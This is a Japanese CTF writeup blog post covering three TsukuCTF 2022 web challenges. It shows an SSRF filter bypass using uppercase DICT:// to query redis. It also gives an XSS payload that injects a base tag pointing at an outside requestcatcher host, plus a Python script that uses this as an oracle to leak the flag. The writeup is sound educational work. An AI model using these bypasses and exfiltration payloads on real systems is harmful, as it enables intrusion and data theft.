はまやんはまやんはまやん

hamayanhamayan's blog

TsukuCTF 2022 writeup

[web] bughunter

タグにRFC9116とあるので見てみるとsecurity.txtについてのRFCだった。
/.well-known/security.txtにアクセスしてみるとフラグが書いてある。

TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}

[web] viewer

フィルター機能があるSSRFできそうなサイトが与えられる。 redisにフラグが入っているので、フィルターをかいくぐってSSRFする方針で問題を解く。

フィルター1

サーバに踏ませるURLはスキーマ部分のブラックリストチェックが入っている。

blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

だがこれでは大文字に対応できないので、DICT://みたいにすれば使える。 dictスキーマが使えればSSRFでredisとやり取りできるので、DICT://redis:6379/keys *としてみよう。 色々出てくる。

...
$36
bdf4486d-2989-4028-87a2-c1a025b28186
$36
...

みんな思い思いの名前を付けているなぁと思いを馳せながら探すと
bdf4486d-2989-4028-87a2-c1a025b28186
が該当するもののようだ。

あとはフラグを持ってくるだけ…なのだが、フィルターがもう一つある。

フィルター2

blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

応答にTsukuCTF22が入っているとダメ。
redisではGETRANGEという便利なものがあるので、それを利用しよう。

DICT://redis:6379/getrange bdf4486d-2989-4028-87a2-c1a025b28186 0 60で前半を持ってきて…
-> {"id": "bdf4486d-2989-4028-87a2-c1a025b28186", "name": "Tsuku

DICT://redis:6379/getrange bdf4486d-2989-4028-87a2-c1a025b28186 61 -1で後半を持ってくる。
-> CTF22{ur1_scheme_1s_u5efu1}"}

あとは結合したら答え。

TsukuCTF22{ur1_scheme_1s_u5efu1}

[web] leaks4b

TsukuCTF22{aaaaaaa}というのがフラグの形式なので、使える文字から正規表現で合致するものを考えると...................を送ればいい。
正規表現を弄って、一文字目を特定するなら

...........a.......
...........b.......
...........c.......

というのを送って、マッチすればflag0.jpgがHTMLに入ってくるはずである。
問題はこのflag0.jpgをどうやって検知するかであるが、この入力文字列は実はXSSにも使えてしまうことを利用する。
検索の邪魔をしないように|をつかって差し込もう。
flag0.jpgは相対パスで指定されているのでbaseタグで通信をこっちに向けるようにする。
色々ガチャガチャやると、

...................|<base href=//[yours].requestcatcher.com>

みたいな感じでflag0.jpgの通信が傍受できた。
適当にa..................みたいに変えると失敗したときのcake3.jpgの通信に変わったのでうまく動いていそう。
後はこれをオラクルとしてうまく使って情報を抜き出してくる。

import requests
import string
import time

for c in string.ascii_lowercase:
    p = f'http://133.130.96.134:31416/?cake=...........{c}.......%7c%3Cbase%20href%3d%2f%2f[yours].requestcatcher.com%3E'
    print(p)
    requests.post('http://133.130.96.134:31416/order', data={'url': p})
    time.sleep(5)

こんな感じでリクエストを飛ばして、受け取ったリクエストと順番を見て、フラグを復元していく。
なるべくアルファベットの前の方でマッチングしてくれる優しさを感じた。

TsukuCTF22{cakeuma}